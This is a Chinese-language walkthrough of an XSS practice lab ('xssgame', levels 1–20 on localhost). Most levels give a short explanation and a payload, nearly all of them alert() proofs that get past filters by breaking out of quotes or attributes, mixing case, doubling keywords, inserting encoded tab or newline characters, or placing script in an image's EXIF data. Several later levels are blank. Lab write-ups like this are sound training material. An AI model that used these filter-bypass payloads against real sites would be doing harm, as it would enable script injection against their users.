第一關:
沒有過濾,直接構造payload過關:
http://127.0.0.1/xssgame/level1.php?name=test%3Cscript%3Ealert%28111%29%3C/script%3E
第二關:
輸入之后觀察頁面源代碼可以看到<>被轉義
Payload:?keyword=test"><script>alert(111)</script>
第三關:
輸入之后查看源代碼發現輸出位置都被轉義:
然后通過'和//閉合,用' onclick=javascript:alert(1)//
第四關
閉合方式不同:
"onclick=javascript:alert(1)//
第五關:
使用onclick和script標簽會被加上_過濾
使用a標簽payload:"><a href="javascript:alert('a')">1</a >//
第六關:
Herf也被加上了_轉義
可以大小寫繞過"><a HRef="javascript:alert('a')">1</a >//
第七關:
被過濾:
雙寫繞過:
"><scriscriptpt>alert(111)</scscriptript>//
第八關:
發現有兩處輸出位置,第二處輸出在了 a 標簽 href 屬性中,此處構造 payload,需要考 慮在 a 標簽內,並繞過敏感字符。因為關鍵字符被做了替換,包括 script\herf\src\on\等, 大小寫也不行。
這里嘗試構造特殊的字符處理,就是在關鍵詞中添加特殊的制表符,例如%0A,%09
注意是在url中,在瀏覽器中輸入會進行編碼
第九關
這一關多了對鏈接是否加http://的檢查
Payload:javasc%0aript:alert(1)//http://aaa.com
第十關:
有隱藏的表單
也可以通過抓包修改頁面源代碼
第十一關:
方法相同
第十二關:
第十三關:
第十四關:
利用exiftool改變圖片的exif信息
上傳一個含有xss代碼的圖片觸發xss
在讀取的時候就會導致 XSS
第十五關:
level15.php?src='level1.php'level1.php?name=test<img src=1 onerror=alert(1)>'
第十六關:
?keyword=test<img%0Dsrc="1"%0Donerror=alert(1)>
第十七關:
第十八關:
第十九關:
第二十關: